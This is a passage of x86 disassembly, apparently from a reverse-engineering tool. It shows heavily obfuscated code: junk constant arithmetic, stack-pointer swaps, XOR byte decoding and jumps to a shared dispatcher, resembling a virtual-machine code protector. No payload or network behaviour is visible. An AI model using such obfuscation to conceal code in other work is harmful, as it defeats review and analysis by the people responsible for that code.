		xor	eax, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		push	ecx
		jmp	loc_5912B4
; ---------------------------------------------------------------------------


loc_592A1E:				; DATA XREF: sub_58A891+3A87o
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		jmp	loc_59B9D4
; ---------------------------------------------------------------------------


loc_592A28:				; CODE XREF: sub_58A891+DAD1j
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	loc_594516
; ---------------------------------------------------------------------------


loc_592A4A:				; CODE XREF: sub_58A891+8449j
		push	13D30958h
		pop	edi
		sub	edi, 0BB9DEE1Ah
		add	ebx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		sub	ebx, esi
		sub	ebx, 58351B3Eh
		jmp	loc_592FE5
; ---------------------------------------------------------------------------


loc_592A6B:				; CODE XREF: sub_58A891+4873j
					; sub_58A891+82AAj ...
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_599EF4
; ---------------------------------------------------------------------------


loc_592A85:				; CODE XREF: sub_58A891+62FDj
		js	loc_59310F
		and	cl, 0A3h
		jg	loc_590D71
		push	ebx


loc_592A95:				; CODE XREF: sub_58A891+A2C5j
		push	50A0569h
		jmp	loc_598AF3
; ---------------------------------------------------------------------------


loc_592A9F:				; CODE XREF: sub_58A891+CA63j
		add	eax, ebp
		pop	ebp
		jmp	loc_59B832
; ---------------------------------------------------------------------------


loc_592AA7:				; CODE XREF: sub_58A891+AB8Fj
		and	edx, 553905AAh
		js	loc_5978A2
		or	edx, 691C3C96h
		jnp	loc_599C7F
		dec	edx
		jmp	loc_5974F1
; ---------------------------------------------------------------------------
		mov	ch, al
		mov	edi, ebp


loc_592AC9:				; CODE XREF: sub_58A891+855Aj
		xor	ebp, esi
		pop	esi
		mov	ebx, ebp
		jmp	loc_58E8BF
; ---------------------------------------------------------------------------


loc_592AD3:				; CODE XREF: sub_58A891+F1BBj
		push	ecx
		jmp	loc_596D19
; ---------------------------------------------------------------------------


loc_592AD9:				; CODE XREF: sub_58A891+C033j
		mov	ebp, 7FC500E2h
		mov	edx, 7FC500E6h
		xor	edx, ebp
		pop	ebp
		jmp	loc_58FBCF
; ---------------------------------------------------------------------------


loc_592AEB:				; CODE XREF: sub_58A891+4210j
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		jmp	loc_59951E
; ---------------------------------------------------------------------------


loc_592AF9:				; DATA XREF: sub_58A891+399Bo
		lodsb
		xor	al, bl
		push	edx
		push	69A2h
		mov	[esp+10h+var_10], ecx
		push	2A74h
		mov	[esp+14h+var_14], ebx
		mov	bh, 3Ah
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		jmp	loc_5971CE
; ---------------------------------------------------------------------------


loc_592B1D:				; CODE XREF: sub_58A891+FA3Ej
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+14h+var_14]
		pop	esp


loc_592B29:				; CODE XREF: sub_58A891+666Fj
					; sub_58A891+814Ej
		push	dword ptr [edi+24h]
		jmp	loc_595100
; ---------------------------------------------------------------------------


loc_592B31:				; CODE XREF: sub_58A891+512Cj
		add	ebp, 4
		add	ebp, 2
		push	esi
		jmp	loc_592A6B
; ---------------------------------------------------------------------------


loc_592B40:				; CODE XREF: sub_58A891+7A55j
		add	esp, 4
		jmp	loc_5963D4
; ---------------------------------------------------------------------------


loc_592B48:				; CODE XREF: sub_58A891+9F76j
		mov	[esp-0Ch+arg_4], edi
		pop	ebx
		mov	edi, [esp-10h+arg_8]
		add	esp, 4
		add	edx, ebx
		mov	ebx, [esp+0]
		jmp	loc_594D9B
; ---------------------------------------------------------------------------


loc_592B5F:				; CODE XREF: sub_58A891+A8E0j
		sub	ah, dl
		jmp	loc_592461
; ---------------------------------------------------------------------------


loc_592B66:				; CODE XREF: sub_58A891+6429j
		mov	[esp+48h+var_4A+2], edi
		mov	edi, 372F719Dh
		jmp	loc_5972CD
; ---------------------------------------------------------------------------


loc_592B73:				; CODE XREF: sub_58A891+AE94j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+48h+var_4A+2]
		pop	esp
		sub	edx, 6D2E684Ch
		jg	loc_58FB8C
		jmp	loc_59A845
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 3C3A2EDFh
		mov	bh, ch


loc_592B99:				; CODE XREF: sub_58A891+10397j
		sub	edx, eax
		pop	eax
		and	edx, 61144CD6h
		shl	edx, 1
		xor	edx, 70FD551h
		jmp	loc_590E76
; ---------------------------------------------------------------------------


loc_592BAF:				; CODE XREF: sub_58A891+7611j
		push	7F9Ah
		mov	[esp+0], edx
		push	eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592BBE:				; CODE XREF: sub_58A891+4E3Ej
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_5936D4
; ---------------------------------------------------------------------------


loc_592BCD:				; CODE XREF: sub_58A891+A752j
		mov	ebp, 4
		jmp	loc_599E60
; ---------------------------------------------------------------------------


loc_592BD7:				; CODE XREF: sub_58A891+104A4j
		add	ebp, 34123FDCh
		jmp	loc_5951E6
; ---------------------------------------------------------------------------


loc_592BE2:				; CODE XREF: sub_58A891+ED86j
		add	esp, 4
		pop	[esp+48h+var_4A+2]
		jmp	loc_58E66A
; ---------------------------------------------------------------------------


loc_592BF0:				; CODE XREF: sub_58A891+B50Ej
		add	al, dl
		pop	edx
		sub	al, bl
		push	ecx
		push	edx
		mov	dh, 54h
		push	ebx
		mov	bh, 21h
		sub	bh, 58h
		mov	ch, bh
		jmp	loc_59131C
; ---------------------------------------------------------------------------


loc_592C06:				; CODE XREF: sub_58A891+3C87j
		sub	al, dh
		pop	dx
		jmp	loc_58F1CA
; ---------------------------------------------------------------------------


loc_592C0F:				; CODE XREF: sub_58A891+9385j
		push	esi
		jmp	loc_59775F
; ---------------------------------------------------------------------------


loc_592C15:				; CODE XREF: sub_58A891+1118Ej
		mov	edx, 121E6BC3h
		xor	edx, ecx
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_5988CC
; ---------------------------------------------------------------------------


loc_592C2A:				; CODE XREF: sub_58A891+D22Bj
		mov	esi, 3C8F4DE6h
		jmp	loc_590644
; ---------------------------------------------------------------------------


loc_592C34:				; CODE XREF: sub_58A891+9C76j
		mov	esp, [esp+2Ch+var_2C]
		mov	fs:[edx], al
		jmp	loc_59830F
; ---------------------------------------------------------------------------


loc_592C3F:				; CODE XREF: sub_58A891+10614j
		and	edi, 78735AC3h
		not	edi
		sub	edi, 0B0DA94D3h
		add	ebx, 5F8B4E53h
		jmp	loc_59826E
; ---------------------------------------------------------------------------


loc_592C58:				; CODE XREF: sub_58A891+AFCAj
		add	edi, 1FA7544Bh
		jmp	loc_5934CA
; ---------------------------------------------------------------------------


loc_592C63:				; CODE XREF: sub_58A891+D368j
		xchg	eax, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_58ED59
; ---------------------------------------------------------------------------


loc_592C6C:				; CODE XREF: sub_58A891+539Fj
		mov	[esp+48h+var_4A+2], edi
		mov	edi, 2
		jmp	loc_5924E7
; ---------------------------------------------------------------------------


loc_592C79:				; CODE XREF: sub_58A891+8124j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		neg	ch
		sub	esp, 4
		jmp	loc_593CCF
; ---------------------------------------------------------------------------


loc_592C8C:				; CODE XREF: sub_58A891+CC11j
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	ebx
		mov	ebx, 548652A8h
		sub	[esp+8+var_4], ebx
		jmp	loc_59618C
; ---------------------------------------------------------------------------


loc_592CA4:				; CODE XREF: sub_58A891+B387j
		mov	ebp, esp
		jmp	loc_59129F
; ---------------------------------------------------------------------------


loc_592CAB:				; CODE XREF: sub_58A891+E857j
		mov	edi, 4856674h
		neg	edi
		jmp	loc_591F2F
; ---------------------------------------------------------------------------


loc_592CB7:				; CODE XREF: sub_58A891+909Cj
		xor	ebp, [esp+8+var_8]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592CC3:				; CODE XREF: sub_58A891+68DFj
		pop	esi
		jmp	loc_591926
; ---------------------------------------------------------------------------


loc_592CC9:				; CODE XREF: sub_58A891+5BE7j
					; sub_58A891+F780j
		sub	edi, 652406EBh
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_59461E
; ---------------------------------------------------------------------------


loc_592CD7:				; CODE XREF: sub_58A891+63F2j
		mov	[esp+44h+var_46+2], edi
		jmp	loc_592A4A
; ---------------------------------------------------------------------------


loc_592CDF:				; DATA XREF: sub_58A891+3ABFo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		jmp	loc_59A7E7
; ---------------------------------------------------------------------------


loc_592CEB:				; CODE XREF: sub_58A891+6909j
		push	ecx
		push	[esp+4Ch+var_4A+2]
		pop	ecx
		pop	[esp+4Ch+var_4E+2]
		jmp	loc_593FF2
; ---------------------------------------------------------------------------


loc_592CF9:				; CODE XREF: sub_58A891:loc_590B2Aj
					; sub_58A891+9BC2j ...
		mov	eax, esp
		jmp	loc_58F9F6
; ---------------------------------------------------------------------------


loc_592D00:				; CODE XREF: sub_58A891+AF39j
		add	esp, 4
		add	ebx, 12A03CD4h
		pop	edi
		add	esi, ebx
		jmp	loc_59A907
; ---------------------------------------------------------------------------


loc_592D11:				; CODE XREF: sub_58A891+BAE7j
		add	edi, ebx
		add	edi, 464E786Bh
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		push	edx
		push	629A4BA2h
		jmp	loc_590C24
; ---------------------------------------------------------------------------


loc_592D2E:				; CODE XREF: sub_58A891+CC55j
		push	0FD2h
		jmp	loc_59A79E
; ---------------------------------------------------------------------------


loc_592D38:				; CODE XREF: sub_58A891+CE24j
		push	ebp
		push	[esp+1Ch+var_18]
		pop	ebp
		pop	[esp+1Ch+var_1C]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 2000000h
		mov	edi, edx
		pop	edx
		and	eax, edi
		push	[esp+18h+var_18]
		jmp	loc_595CA6
; ---------------------------------------------------------------------------


loc_592D63:				; CODE XREF: sub_58A891+72C0j
		add	ecx, eax
		pop	eax
		push	esi
		mov	esi, 30A55F5Eh
		or	esi, 6E985DCDh
		jnz	loc_590369
		jmp	loc_59AD9A
; ---------------------------------------------------------------------------
		add	edi, eax
		jmp	loc_58E62A
; ---------------------------------------------------------------------------


loc_592D84:				; DATA XREF: sub_58A891+39FFo
		mov	cx, word ptr [esp+8+var_8]
		push	1DD2h
		mov	[esp+0Ch+var_C], edi
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	edi
		push	ecx
		jmp	loc_599C0B
; ---------------------------------------------------------------------------


loc_592DA4:				; CODE XREF: sub_58A891+1116Dj
		mov	ebp, 5BB85C21h
		sub	eax, ebp
		pop	ebp
		add	eax, 519F5802h
		add	eax, esi
		jmp	loc_598889
; ---------------------------------------------------------------------------


loc_592DB8:				; CODE XREF: sub_58A891+42C4j
		mov	ecx, 0C227C8h
		sub	ecx, 43F97D14h
		neg	ecx
		and	ecx, 3F656FBh
		neg	ecx
		shr	ecx, 6
		xor	ecx, 3F326AAh
		sub	edx, ecx
		pop	ecx
		push	edx
		push	[esp+3Ch+var_38]
		pop	edx
		pop	[esp+3Ch+var_3C]
		pop	esp
		mov	[esp+34h+var_34], esi
		mov	esi, 27B959DFh
		jmp	loc_592AC9
; ---------------------------------------------------------------------------


loc_592DF0:				; CODE XREF: sub_58A891+3CAAj
					; sub_58A891+1018Ej
		mov	ebx, 532846AFh
		not	ebx
		or	ebx, 39C00FB4h
		not	ebx
		inc	ebx
		shr	ebx, 1
		push	ebp
		mov	ebp, 0F2001FAh
		sub	ebx, ebp
		pop	ebp
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 67AD0A08h
		shl	ebp, 3
		inc	ebp
		push	ebx
		mov	ebx, 3D404FD9h
		neg	ebx
		jmp	loc_591F6F
; ---------------------------------------------------------------------------


loc_592E25:				; CODE XREF: sub_58A891+CBC0j
		push	ebp
		mov	ebp, 38F774AEh
		xor	ebp, 3E8F0E0Fh
		jmp	loc_5982B2
; ---------------------------------------------------------------------------


loc_592E36:				; CODE XREF: sub_58A891+FE58j
		jmp	loc_58E6AB
; ---------------------------------------------------------------------------


loc_592E3B:				; CODE XREF: sub_58A891+10A65j
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, [esp+40h+var_40]
		mov	edi, [esp+40h+var_40]
		add	esp, 4
		and	edi, 63F70FD3h
		push	edi
		not	[esp+40h+var_40]
		pop	edi
		push	ebx
		mov	ebx, 9F09F86Ah
		sub	edi, ebx
		pop	ebx
		add	eax, edi
		mov	edi, [esp+3Ch+var_3C]
		add	esp, 4
		jmp	loc_59333C
; ---------------------------------------------------------------------------


loc_592E6F:				; CODE XREF: sub_58A891+FAC7j
		xchg	esi, [esp+38h+var_38]
		pop	esp
		add	esp, 4
		push	[esp+30h+var_30]
		mov	ecx, [esp+34h+var_34]
		jmp	loc_59816C
; ---------------------------------------------------------------------------


loc_592E84:				; CODE XREF: sub_58A891+6BFEj
		add	esp, 4
		jmp	loc_5941F3
; ---------------------------------------------------------------------------


loc_592E8F:				; CODE XREF: sub_58A891+D735j
		sub	edx, 4
		xor	edx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], edx
		xor	edx, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], eax
		push	[esp+0Eh+var_10+2]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], ebx
		xor	ebx, [esp+12h+var_14+2]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592EC1:				; CODE XREF: sub_58A891+3DD4j
		add	edx, 7FB5826h
		mov	ebx, [esp+44h+var_46+2]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 5AB43814h
		or	ebp, 645220C0h
		jmp	loc_58F084
; ---------------------------------------------------------------------------


loc_592EDE:				; CODE XREF: sub_58A891+726Fj
		mov	eax, 4
		sub	ecx, 301A3262h
		add	ecx, eax
		add	ecx, 301A3262h
		jmp	loc_596F36
; ---------------------------------------------------------------------------


loc_592EF6:				; CODE XREF: sub_58A891+641Ej
		not	eax
		sub	eax, 67274D87h
		add	eax, 628EA2FDh
		add	edi, eax
		push	[esp+48h+var_4A+2]
		pop	eax
		add	esp, 4
		add	esi, edi
		mov	edi, [esp+44h+var_46+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_594AF4
; ---------------------------------------------------------------------------


loc_592F1B:				; CODE XREF: sub_58A891+DABCj
					; sub_58A891+FC8Fj
		pop	ebp
		mov	ecx, [esp+44h+var_46+2]
		jmp	loc_597417
; ---------------------------------------------------------------------------


loc_592F24:				; DATA XREF: sub_58A891+3C03o
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_596E27
; ---------------------------------------------------------------------------


loc_592F2D:				; CODE XREF: sub_58A891+C591j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_592F32:				; CODE XREF: sub_58A891+78A5j
		xor	dl, 0A2h
		and	dl, 1
		inc	dl
		add	dl, 0DFh
		sub	al, dl
		pop	edx
		xor	bl, al
		jmp	loc_598946
; ---------------------------------------------------------------------------


loc_592F47:				; CODE XREF: sub_58A891+6532j
		div	cl
		movzx	cx, ah
		jmp	loc_599467
; ---------------------------------------------------------------------------


loc_592F52:				; CODE XREF: sub_58A891+F375j
		sub	edx, 4
		xchg	edx, [esp+14h+var_14]
		jmp	loc_596F93
; ---------------------------------------------------------------------------


loc_592F60:				; CODE XREF: sub_58A891+7A86j
		pop	ebp
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		push	[esp+40h+var_40]
		pop	esi
		jmp	loc_59363F
; ---------------------------------------------------------------------------


loc_592F6F:				; CODE XREF: sub_58A891+4788j
					; sub_58A891+E4EBj
		push	[esp+38h+var_38]
		mov	ecx, [esp+3Ch+var_3C]
		add	esp, 4
		push	1117h
		mov	[esp+3Ch+var_3C], ecx
		jmp	loc_598711
; ---------------------------------------------------------------------------


loc_592F85:				; CODE XREF: sub_58A891+B6E7j
		push	esi
		push	esp
		pop	esi
		jmp	loc_5935BF
; ---------------------------------------------------------------------------


loc_592F8D:				; CODE XREF: sub_58A891+BACEj
		xor	edx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		mov	word ptr [esp+40h+var_40], cx
		jmp	loc_595234
; ---------------------------------------------------------------------------


loc_592F9C:				; CODE XREF: sub_58A891+DC72j
		push	ecx
		jmp	loc_58F123
; ---------------------------------------------------------------------------


loc_592FA2:				; CODE XREF: sub_58A891+889Cj
		add	al, 0F5h
		jmp	loc_599F8F
; ---------------------------------------------------------------------------


loc_592FA9:				; CODE XREF: sub_58A891+10DF3j
		inc	ebx
		push	esi
		mov	esi, 3467938h
		add	ebx, esi
		jmp	loc_59017E
; ---------------------------------------------------------------------------


loc_592FB7:				; CODE XREF: sub_58A891+5A01j
		pop	eax
		sub	ebp, ecx
		sub	ebp, 339B49D2h
		pop	ecx
		jmp	loc_591BB3
; ---------------------------------------------------------------------------


loc_592FC6:				; CODE XREF: sub_58A891+AB40j
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_592FCB:				; CODE XREF: sub_58A891+99FCj
		push	3820086Fh
		pop	edi
		add	edi, 0C84D8B52h
		sub	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 3F6075AFh
		jmp	loc_599D5A
; ---------------------------------------------------------------------------


loc_592FE5:				; CODE XREF: sub_58A891+81D5j
		pop	esi
		and	eax, ebx
		jmp	loc_599323
; ---------------------------------------------------------------------------


loc_592FED:				; CODE XREF: sub_58A891+69A6j
		push	5CC5h
		mov	[esp+0Ch+var_C], ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		push	3FB35E59h
		jmp	loc_59AEEF
; ---------------------------------------------------------------------------


loc_593008:				; DATA XREF: sub_58A891+3B73o
		lodsd
		push	ecx
		mov	ecx, 6B592829h
		push	edi
		mov	edi, 67FE51F4h
		add	eax, edi
		pop	edi
		sub	eax, 54AF75C9h
		add	eax, ecx
		jmp	loc_58F05D
; ---------------------------------------------------------------------------


loc_593024:				; CODE XREF: sub_58A891+47C7j
		pop	[esp+2Ch+var_2C]
		add	[esp+28h+var_28], 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593030:				; CODE XREF: sub_58A891+9D18j
					; sub_58A891+E87Cj
		xchg	ebx, [esp+28h+var_28]
		pop	esp
		pop	ecx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_59A2FE
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+20h+var_20]
		pop	esp
		mov	[esp+1Ch+var_1C], esi
		push	eax
		mov	eax, 0FEh
		push	ebx
		jmp	loc_58FAC4
; ---------------------------------------------------------------------------


loc_593062:				; CODE XREF: sub_58A891+4F38j
		pop	eax
		mov	esi, 70553A4Ch
		xor	esi, edx
		pop	edx
		push	edx
		mov	edx, 8781DD8h
		shr	edx, 4
		push	0A92h
		mov	[esp+28h+var_28], ebx
		mov	ebx, 0
		sub	ebx, edx
		xchg	ebx, edx
		pop	ebx
		dec	edx
		add	edx, 76300989h
		neg	edx
		jmp	loc_593240
; ---------------------------------------------------------------------------


loc_593094:				; CODE XREF: sub_58A891+9DF2j
		push	[esp+24h+var_24]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_598609
; ---------------------------------------------------------------------------


loc_5930A5:				; CODE XREF: sub_58A891+102B5j
		pop	ebx
		and	edx, 774A7E3Ch
		xor	edx, 1D2E2355h
		sub	edx, 0D9BF372Eh
		add	ebx, 10353409h
		add	ebx, edx
		sub	ebx, 10353409h
		pop	edx
		add	ebx, 4E7732A4h
		push	35CAh
		mov	[esp+24h+var_24], ebp
		push	esp
		mov	ebp, [esp+28h+var_28]
		jmp	loc_598384
; ---------------------------------------------------------------------------


loc_5930DE:				; CODE XREF: sub_58A891+B832j
		or	edx, eax
		pop	eax
		jmp	loc_5954FD
; ---------------------------------------------------------------------------


loc_5930E6:				; CODE XREF: sub_58A891:loc_5992F9j
		shr	bh, 2
		push	0
		sub	byte ptr [esp+28h+var_28], bh
		mov	bh, byte ptr [esp+28h+var_28]
		add	esp, 4
		push	ax
		mov	ah, 1Bh
		jmp	loc_592122
; ---------------------------------------------------------------------------


loc_593100:				; DATA XREF: sub_58A891+3BD3o
		neg	byte ptr [esp+8+var_8]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593109:				; CODE XREF: sub_58A891+5D11j
		pop	edi
		jmp	loc_599817
; ---------------------------------------------------------------------------


loc_59310F:				; CODE XREF: sub_58A891:loc_592A85j
		and	cl, 0A3h
		jg	loc_593D3B
		add	cl, 0F9h
		add	bh, cl
		jmp	loc_5926A3
; ---------------------------------------------------------------------------


loc_593122:				; CODE XREF: sub_58A891+9843j
		sub	al, 3Dh
		mov	ch, al
		pop	eax
		sub	al, 95h
		push	dx
		mov	dl, 3Eh
		jmp	loc_592FA2
; ---------------------------------------------------------------------------


loc_593132:				; CODE XREF: sub_58A891+5608j
		not	edx
		xor	edx, 8FA6F373h
		sub	eax, edx
		pop	edx
		push	ebp
		push	edx
		push	78FE5D8Ch
		mov	edx, [esp+20h+var_20]
		push	ecx
		jmp	loc_595723
; ---------------------------------------------------------------------------


loc_59314D:				; CODE XREF: sub_58A891+721Bj
		sub	ebx, 892390Fh
		sub	ebx, eax
		add	ebx, 892390Fh
		pop	eax
		push	481Ah
		mov	[esp-10h+arg_8], edi
		push	7C95h
		jmp	loc_59046D
; ---------------------------------------------------------------------------


loc_59316E:				; CODE XREF: sub_58A891+11034j
		pop	edi
		jmp	loc_592118
; ---------------------------------------------------------------------------


loc_593174:				; CODE XREF: sub_58A891+8C3Fj
		dec	ebx
		not	ebx
		jmp	loc_5970A1
; ---------------------------------------------------------------------------


loc_59317C:				; CODE XREF: sub_58A891+4996j
		xchg	ecx, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], esi
		mov	esi, 0E143D60h
		xor	esi, 15265B1Eh
		jl	loc_599CF5
		add	esi, 3DFF3406h
		jnz	loc_58F1B0
		dec	esi
		jz	loc_599A51
		dec	esi
		mov	bl, ah


loc_5931AA:				; CODE XREF: sub_58A891+EB78j
					; sub_58A891+11265j
		pop	ebx
		add	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 515606E1h
		or	ebp, 4C6858A1h
		sub	ebp, 2D871BF8h
		sub	eax, 4D460342h
		sub	eax, ebp
		add	eax, 4D460342h
		jmp	loc_59176C
; ---------------------------------------------------------------------------


loc_5931D1:				; CODE XREF: sub_58A891+11181j
		mov	dh, 90h
		neg	dh
		jnp	loc_5996C6
		jmp	loc_590297
; ---------------------------------------------------------------------------
		shl	edx, 7
		xor	al, 56h


loc_5931E5:				; CODE XREF: sub_58A891+1084Cj
		add	ebx, 60E939B9h
		add	ebx, 18F920F6h
		sub	ebx, 4ABB26F3h
		pop	edi
		pop	dword ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5931FF:				; CODE XREF: sub_58A891+48E3j
		add	ebx, 4
		xchg	ebx, [esp+16h+var_18+2]
		pop	esp
		push	eax
		mov	ebp, [esp+16h+var_18+2]
		push	eax
		mov	eax, esp
		jmp	loc_594B64
; ---------------------------------------------------------------------------


loc_593215:				; DATA XREF: sub_58A891+3BA7o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+6+var_8+2], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_593225:				; CODE XREF: sub_58A891+776Dj
					; sub_58A891+7DCAj
		pop	esp
		jmp	loc_59928D
; ---------------------------------------------------------------------------


loc_59322B:				; CODE XREF: sub_58A891+C851j
		push	edx
		mov	edx, 4
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		pop	edx
		sub	edi, eax
		pop	eax
		jmp	loc_596E7A
; ---------------------------------------------------------------------------


loc_593240:				; CODE XREF: sub_58A891+87FEj
		add	edx, 87F49336h
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		jmp	loc_593553
; ---------------------------------------------------------------------------


loc_593250:				; CODE XREF: sub_58A891+93DCj
		xor	[esp+20h+var_1C], edx
		jmp	loc_59A2B9
; ---------------------------------------------------------------------------


loc_593259:				; CODE XREF: sub_58A891+C126j
		pop	ecx
		jmp	loc_594C74
; ---------------------------------------------------------------------------


loc_59325F:				; CODE XREF: sub_58A891+DAB5j
		add	esp, 4
		push	edi
		mov	edi, 41BF69A1h
		sub	esp, 4
		mov	[esp+20h+var_20], eax
		mov	eax, 305C4638h
		neg	eax
		jmp	loc_58FD34
; ---------------------------------------------------------------------------


loc_59327A:				; CODE XREF: sub_58A891+A2FEj
					; sub_58A891:loc_595E3Cj
		add	esp, 4
		jmp	loc_59AE0D
; ---------------------------------------------------------------------------


loc_593282:				; CODE XREF: sub_58A891+450Bj
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_59B70F
		push	dword ptr [edi+1Ch]
		push	759Eh
		mov	[esp+0], ecx
		push	340C2BC3h
		pop	ecx
		jmp	loc_591494
; ---------------------------------------------------------------------------


loc_5932A9:				; CODE XREF: sub_58A891+AFD7j
		push	ebx
		mov	ebx, 234457FBh
		not	ebx
		jmp	loc_590FD8
; ---------------------------------------------------------------------------


loc_5932B6:				; CODE XREF: sub_58A891+A60Aj
		add	edx, 4
		jmp	loc_590F59
; ---------------------------------------------------------------------------


loc_5932C1:				; CODE XREF: sub_58A891+DADAj
		xchg	eax, ebp
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_58F85C
; ---------------------------------------------------------------------------


loc_5932D0:				; DATA XREF: sub_58A891+3BDBo
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_59156E
; ---------------------------------------------------------------------------


loc_5932E2:				; CODE XREF: sub_58A891+C81Dj
		xor	ebx, 2242F3D9h
		jmp	loc_58E679
; ---------------------------------------------------------------------------


loc_5932ED:				; CODE XREF: sub_58A891+C0C7j
		push	ebx
		mov	bl, 99h
		or	al, bl
		pop	ebx
		add	al, 5Fh
		xor	dl, al
		pop	eax
		xor	dl, 42h
		mov	ch, dl
		pop	edx
		xor	ch, bh
		pop	ebx
		push	257h
		jmp	loc_59A173
; ---------------------------------------------------------------------------


loc_59330B:				; CODE XREF: sub_58A891+CB15j
		add	bl, cl
		pop	ecx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_59023A
; ---------------------------------------------------------------------------


loc_593319:				; CODE XREF: sub_58A891+DED6j
		xor	edi, 0EF1BFA3Bh
		sub	eax, 2A8D0656h
		add	eax, edi
		add	eax, 2A8D0656h
		pop	edi
		add	eax, 53A65E44h
		push	edi
		jmp	loc_5921D8
; ---------------------------------------------------------------------------


loc_593337:				; CODE XREF: sub_58A891+6E1Cj
		jmp	loc_597B41
; ---------------------------------------------------------------------------


loc_59333C:				; CODE XREF: sub_58A891+85D9j
		add	eax, 2
		jmp	loc_595F56
; ---------------------------------------------------------------------------


loc_593346:				; CODE XREF: sub_58A891+7538j
		push	esi
		mov	esi, 4E962EFDh
		add	[esp-4+arg_4], esi
		jmp	loc_58F042
; ---------------------------------------------------------------------------


loc_593355:				; CODE XREF: sub_58A891+EA81j
		mov	ebx, 3C70032Ch
		mov	ecx, ebx
		pop	ebx
		jmp	loc_598CAD
; ---------------------------------------------------------------------------


loc_593362:				; CODE XREF: sub_58A891+F91Ej
		pop	ebx
		pop	edi
		sub	eax, 0E1B67B7h
		add	eax, edx
		push	ebp
		jmp	loc_595FF2
; ---------------------------------------------------------------------------


loc_593371:				; CODE XREF: sub_58A891+8F8Dj
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		jmp	loc_594C81
; ---------------------------------------------------------------------------


loc_59338B:				; CODE XREF: sub_58A891+A707j
		push	edx
		push	ebx
		mov	ebx, 765E1E76h
		xor	ebx, 2A1A5748h
		not	ebx
		not	ebx
		jmp	loc_59B18B
; ---------------------------------------------------------------------------


loc_5933A1:				; CODE XREF: sub_58A891+A22Cj
		sub	edi, 4
		xchg	edi, [esp-8+arg_0]
		mov	esp, [esp-8+arg_0]
		mov	[esp-8+arg_0], ecx
		jmp	loc_5918F3
; ---------------------------------------------------------------------------


loc_5933B2:				; DATA XREF: sub_58A891+3B3Fo
		mov	cx, word ptr [esp+8+var_8]
		push	7C8Eh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_598B68
; ---------------------------------------------------------------------------


loc_5933C3:				; CODE XREF: sub_58A891+7593j
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5945F7
; ---------------------------------------------------------------------------


loc_5933CC:				; CODE XREF: sub_58A891+F868j
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp+48h+var_4A+2]
		pop	esp
		add	esp, 4
		jmp	loc_59043C
; ---------------------------------------------------------------------------


